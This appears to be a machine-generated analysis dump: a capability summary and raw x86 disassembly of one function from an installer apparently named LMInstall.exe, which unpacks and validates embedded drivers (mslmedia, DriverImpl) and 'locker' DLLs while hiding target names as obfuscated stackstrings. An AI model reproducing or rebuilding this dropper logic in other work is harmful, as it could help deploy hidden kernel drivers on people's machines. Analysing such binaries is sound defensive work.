Function at 0x403100
Capabilities:
Contain obfuscated stackstrings
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x419d78
mov eax, dword fs:[0]
push eax
sub esp, 0x74
mov eax, dword [0x422380]
xor eax, esp
mov dword [esp + 0x70], eax
push ebx
push ebp
push esi
push edi
mov eax, dword [0x422380]
xor eax, esp
push eax
lea eax, [esp + 0x88]
mov dword fs:[0], eax
mov eax, dword [esp + 0x98]
mov esi, dword [esp + 0x9c]
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], ecx
mov dword [esp + 0x28], edx
call fcn.00406950
xor ecx, ecx
cmp eax, 0x40
sete cl
xor ebx, ebx
mov dword [esp + 0x18], ebx
mov dword [esp + 0x1c], ecx
mov dword [esp + 0x90], ebx
mov dword [esp + 0x2c], ebx
mov byte [esp + 0x90], 1
mov eax, dword [esi]
mov ecx, dword [eax + 0x14]
lea edx, [esp + 0x18]
push edx
push esi
call ecx
mov edx, dword [esi]
push eax
mov eax, dword [edx + 0x10]
push esi
call eax
call fcn.00406080
mov ebp, dword [esp + 0x20]
add esp, 8
cmp ebp, ebx
je 0x4031bb
mov ecx, dword [ebp]
mov edx, dword [ecx + 0x14]
push ebp
call edx
test eax, eax
jbe 0x4031bb
mov eax, dword [ebp]
mov ecx, dword [eax + 4]
push ebp
call ecx
mov dword [esp + 0x2c], ebp
jmp 0x4031c9
mov edx, dword [esi]
mov eax, dword [edx + 4]
push esi
call eax
mov dword [esp + 0x2c], esi
mov ebp, esi
mov dword [esp + 0x14], ebx
mov byte [esp + 0x90], 2
mov ecx, dword [ebp]
mov edx, dword [ecx + 0x14]
push ebp
call edx
push eax
mov eax, dword [ebp]
mov ecx, dword [eax + 0x10]
push ebp
call ecx
push eax
lea edi, [esp + 0x1c]
call fcn.00402950
test eax, eax
jne 0x403272
mov edx, dword [ebp]
mov eax, dword [edx + 0x14]
push ebp
call eax
push eax
push 0x41f338
lea esi, [esp + 0x58]
call fcn.004068d0
add esp, 8
mov ecx, dword [esp + 0x30]
push 0xffffffffffffffff
push ebx
push eax
mov byte [esp + 0x9c], 3
call fcn.004015d0
cmp dword [esp + 0x68], 0x10
jb 0x40323a
mov ecx, dword [esp + 0x54]
push ecx
call fcn.0040bd0f
add esp, 4
mov dword [esp + 0x68], 0xf
mov dword [esp + 0x64], ebx
mov byte [esp + 0x54], bl
mov byte [esp + 0x90], 1
mov eax, dword [esp + 0x14]
cmp eax, ebx
je 0x403262
mov edx, dword [eax]
push eax
mov eax, dword [edx + 8]
call eax
mov byte [esp + 0x90], bl
mov ecx, dword [ebp]
push ebp
jmp 0x403872
mov dword [esp + 0x24], ebx
mov byte [esp + 0x90], 4
mov eax, str.mslmedia64.sys
cmp dword [esp + 0x1c], ebx
jne 0x40328e
mov eax, str.mslmedia32.sys
lea ecx, [esp + 0x24]
push ecx
lea edx, [esp + 0x44]
push edx
push eax
lea eax, [esp + 0x20]
call fcn.00402850
test eax, eax
jne 0x40331a
mov ecx, dword [esp + 0x30]
push 0x14
push 0x41f370
call fcn.00401210
mov byte [esp + 0x90], 2
mov eax, dword [esp + 0x24]
cmp eax, ebx
je 0x4032ce
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
mov byte [esp + 0x90], 1
mov eax, dword [esp + 0x14]
cmp eax, ebx
je 0x4032e6
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
mov byte [esp + 0x90], bl
mov eax, dword [ebp]
mov ecx, dword [eax + 8]
push ebp
call ecx
mov dword [esp + 0x90], 0xffffffff
mov eax, dword [esp + 0x18]
cmp eax, ebx
je 0x403892
mov edx, dword [eax]
push eax
mov eax, dword [edx + 8]
call eax
jmp 0x403892
mov esi, dword [esp + 0x24]
mov ecx, dword [esi]
mov edx, dword [ecx + 0x14]
push esi
call edx
mov edi, eax
mov eax, dword [esi]
mov ecx, dword [eax + 0x10]
push esi
call ecx
cmp edi, 0x7c
jb 0x40334c
mov ecx, dword [eax + 0x3c]
add edi, 0xfffffffe
cmp ecx, edi
ja 0x40334c
cmp byte [ecx + eax], 0x50
jne 0x40334c
cmp byte [ecx + eax + 1], 0x45
je 0x403367
mov edx, dword [esi]
mov eax, dword [edx + 0x14]
push ebx
push esi
call eax
mov ecx, dword [esi]
mov edx, dword [ecx + 0x10]
push eax
push esi
call edx
push eax
call fcn.00402720
add esp, 0xc
mov dword [esp + 0x38], ebx
mov byte [esp + 0x90], 5
mov byte [esp + 0x6c], 0x6c
mov byte [esp + 0x6d], 0x64
mov byte [esp + 0x6e], 0x72
mov byte [esp + 0x6f], 0x54
mov byte [esp + 0x70], 0x61
mov byte [esp + 0x71], 0x72
mov byte [esp + 0x72], 0x67
mov byte [esp + 0x73], 0x65
mov byte [esp + 0x74], 0x74
mov byte [esp + 0x75], bl
mov eax, str.DriverImpl64.sys
cmp dword [esp + 0x1c], ebx
jne 0x4033b4
mov eax, str.DriverImpl32.sys
lea ecx, [esp + 0x38]
push ecx
lea edx, [esp + 0x44]
push edx
push eax
lea eax, [esp + 0x20]
call fcn.00402850
test eax, eax
jne 0x403409
mov ecx, dword [esp + 0x30]
push 0x12
push 0x41f3b0
call fcn.00401210
mov byte [esp + 0x90], 4
mov eax, dword [esp + 0x38]
cmp eax, ebx
je 0x4033f4
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
mov byte [esp + 0x90], 2
mov eax, dword [esi]
mov ecx, dword [eax + 8]
push esi
call ecx
jmp 0x40324a
mov edi, dword [esp + 0x38]
mov eax, dword [edi]
mov ecx, dword [eax + 0x14]
push edi
call ecx
mov edx, dword [edi]
mov ebp, eax
mov eax, dword [edx + 0x10]
push edi
call eax
cmp ebp, 0x7c
jb 0x403457
mov ecx, dword [eax + 0x3c]
add ebp, 0xfffffffe
cmp ecx, ebp
ja 0x403457
cmp byte [ecx + eax], 0x50
jne 0x403457
cmp byte [ecx + eax + 1], 0x45
jne 0x403457
mov ecx, dword [edi]
mov edx, dword [ecx + 0x14]
push 1
push edi
call edx
push eax
mov eax, dword [edi]
mov ecx, dword [eax + 0x10]
push edi
call ecx
push eax
call fcn.00402720
add esp, 0xc
mov dword [esp + 0x1c], ebx
xor ebp, ebp
mov dword [esp + 0x3c], ebp
mov byte [esp + 0x90], 7
lea edx, [esp + 0x1c]
push edx
lea eax, [esp + 0x44]
push eax
push str.locker32.dll
lea eax, [esp + 0x20]
mov byte [esp + 0x84], 0x6c
mov byte [esp + 0x85], 0x61
mov byte [esp + 0x86], 0x70
mov byte [esp + 0x87], 0x54
mov byte [esp + 0x88], 0x61
mov byte [esp + 0x89], 0x72
mov byte [esp + 0x8a], 0x67
mov byte [esp + 0x8b], 0x65
mov byte [esp + 0x8c], 0x74
mov byte [esp + 0x8d], bl
call fcn.00402850
test eax, eax
je 0x4037ef
lea ecx, [esp + 0x3c]
push ecx
lea edx, [esp + 0x44]
push edx
push str.locker64.dll
lea eax, [esp + 0x20]
call fcn.00402850
test eax, eax
je 0x4037eb
mov edi, dword [esp + 0x1c]
mov eax, dword [edi]
mov ecx, dword [eax + 0x14]
push edi
call ecx
mov edx, dword [edi]
mov esi, eax
mov eax, dword [edx + 0x10]
push edi
call eax
mov edx, esi
mov ecx, eax
call fcn.00406050
test eax, eax
je 0x403537
mov ecx, dword [edi]
mov edx, dword [ecx + 0x14]
push 1
push edi
call edx
push eax
mov eax, dword [edi]
mov ecx, dword [eax + 0x10]
push edi
call ecx
push eax
call fcn.00402720
add esp, 0xc
mov esi, dword [esp + 0x3c]
mov edx, dword [esi]
mov eax, dword [edx + 0x14]
push esi
call eax
mov ecx, dword [esi]
mov edx, dword [ecx + 0x10]
push esi
mov ebp, eax
call edx
mov edx, ebp
mov ecx, eax
call fcn.00406050
test eax, eax
je 0x403576
mov eax, dword [esi]
mov ecx, dword [eax + 0x14]
push 1
push esi
call ecx
mov edx, dword [esi]
push eax
mov eax, dword [edx + 0x10]
push esi
call eax
push eax
call fcn.00402720
add esp, 0xc
push 0x14
call fcn.0040bdb2
add esp, 4
cmp eax, ebx
je 0x40358d
call fcn.00406300
mov ebp, eax
jmp 0x40358f
xor ebp, ebp
mov dword [esp + 0x4c], ebp
cmp ebp, ebx
je 0x4035a0
mov ecx, dword [ebp]
mov edx, dword [ecx + 4]
push ebp
call edx
mov byte [esp + 0x90], 8
mov eax, dword [edi]
mov ecx, dword [eax + 0x14]
push edi
call ecx
mov edx, dword [esi]
mov ebx, eax
mov eax, dword [edx + 0x14]
push esi
call eax
lea ecx, [ebx + eax + 0x64]
push ecx
call fcn.00406dad
mov ebx, eax
mov dword [ebx], 1
mov edx, dword [edi]
mov eax, dword [edx + 0x14]
add esp, 4
push edi
call eax
mov dword [ebx + 4], eax
mov ecx, dword [edi]
mov edx, dword [ecx + 0x14]
push edi
call edx
push eax
mov eax, dword [edi]
mov ecx, dword [eax + 0x10]
push edi
call ecx
push eax
lea edx, [ebx + 8]
push edx
call fcn.0040dc90
mov eax, dword [edi]
mov ecx, dword [eax + 0x14]
add esp, 0xc
push edi
call ecx
lea eax, [eax + ebx + 8]
mov dword [eax], 2
mov edx, dword [esi]
mov dword [esp + 0x20], eax
mov eax, dword [edx + 0x14]
push esi
call eax
mov ecx, dword [esp + 0x20]
mov dword [ecx + 4], eax
mov edx, dword [esi]
mov eax, dword [edx + 0x14]
push esi
call eax
mov ecx, dword [esi]
mov edx, dword [ecx + 0x10]
push eax
push esi
call edx
push eax
mov eax, dword [esp + 0x28]
add eax, 8
push eax
call fcn.0040dc90
mov ecx, dword [esi]
mov edx, dword [ecx + 0x14]
add esp, 0xc
push esi
call edx
mov ecx, dword [esp + 0x20]
mov edx, dword [ebp]
lea eax, [ecx + eax + 8]
sub eax, ebx
mov dword [esp + 0x20], eax
mov eax, dword [edx + 0x18]
push ebp
call eax
mov eax, dword [esp + 0x20]
test eax, eax
je 0x40366c
mov dword [ebp + 0xc], ebx
mov dword [ebp + 0x10], eax
mov eax, dword [esp + 0x24]
mov ecx, dword [esp + 0x28]
mov dword [ecx], eax
mov edx, dword [eax]
push eax
mov eax, dword [edx + 4]
call eax
mov ebx, dword [esp + 0x38]
mov ecx, dword [ebx]
mov edx, dword [ecx + 0x14]
push ebx
call edx
push eax
mov eax, dword [ebx]
mov ecx, dword [eax + 0x10]
push ebx
call ecx
push eax
mov eax, dword [esp + 0x3c]
lea edx, [esp + 0x74]
push edx
call fcn.00401ba0
mov eax, dword [ebp]
mov ecx, dword [eax + 0x14]
push ebp
call ecx
mov edx, dword [ebp]
push eax
mov eax, dword [edx + 0x10]
push ebp
call eax
push eax
mov eax, dword [esp + 0x3c]
lea ecx, [esp + 0x80]
push ecx
call fcn.00401ba0
push 0
call fcn.0040c4f3
add esp, 4
push 4
lea edx, [esp + 0x2c]
push edx
mov dword [esp + 0x30], eax
mov eax, dword [esp + 0x3c]
push str.instime
call fcn.00401ba0
mov ecx, dword [sym.LMInstall.exe__KUD]
mov eax, ecx
lea edx, [eax + 1]
mov dword [esp + 0x28], edx
lea esp, [esp]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x403700
sub eax, dword [esp + 0x28]
push eax
mov eax, dword [esp + 0x38]
push ecx
push 0x41f404
call fcn.00401ba0
mov eax, dword [sym.LMInstall.exe__FXIDT]
cmp dword [eax], 0
je 0x403736
push 4
push eax
mov eax, dword [esp + 0x3c]
push str.fxidt
call fcn.00401ba0
mov eax, dword [esp + 0x30]
push eax
mov edx, 0x41f1e5
call fcn.004012f0
mov byte [esp + 0x90], 7
mov ecx, dword [ebp]
mov edx, dword [ecx + 8]
push ebp
call edx
mov byte [esp + 0x90], 6
mov eax, dword [esi]
mov ecx, dword [eax + 8]
push esi
call ecx
mov byte [esp + 0x90], 5
mov edx, dword [edi]
mov eax, dword [edx + 8]
push edi
call eax
mov byte [esp + 0x90], 4
mov ecx, dword [ebx]
mov edx, dword [ecx + 8]
push ebx
call edx
mov byte [esp + 0x90], 2
mov eax, dword [esp + 0x24]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
mov byte [esp + 0x90], 1
mov eax, dword [esp + 0x14]
test eax, eax
je 0x4037b2
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
mov byte [esp + 0x90], 0
mov eax, dword [esp + 0x2c]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
mov dword [esp + 0x90], 0xffffffff
mov eax, dword [esp + 0x18]
test eax, eax
je 0x4037e1
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
mov eax, 1
jmp 0x403894
mov ebp, dword [esp + 0x3c]
mov ecx, dword [esp + 0x30]
push 0x14
push 0x41f3e4
call fcn.00401210
mov byte [esp + 0x90], 6
cmp ebp, ebx
je 0x403814
mov eax, dword [ebp]
mov ecx, dword [eax + 8]
push ebp
call ecx
mov byte [esp + 0x90], 5
mov eax, dword [esp + 0x1c]
cmp eax, ebx
je 0x40382c
mov edx, dword [eax]
push eax
mov eax, dword [edx + 8]
call eax
mov byte [esp + 0x90], 4
mov ecx, dword [edi]
mov edx, dword [ecx + 8]
push edi
call edx
mov byte [esp + 0x90], 2
mov eax, dword [esi]
mov ecx, dword [eax + 8]
push esi
call ecx
mov byte [esp + 0x90], 1
mov eax, dword [esp + 0x14]
cmp eax, ebx
je 0x403864
mov edx, dword [eax]
push eax
mov eax, dword [edx + 8]
call eax
mov byte [esp + 0x90], bl
mov eax, dword [esp + 0x2c]
mov ecx, dword [eax]
push eax
mov edx, dword [ecx + 8]
call edx
mov dword [esp + 0x90], 0xffffffff
mov eax, dword [esp + 0x18]
cmp eax, ebx
je 0x403892
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
xor eax, eax
mov ecx, dword [esp + 0x88]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x70]
xor ecx, esp
call fcn.0040bd00
add esp, 0x80
ret 8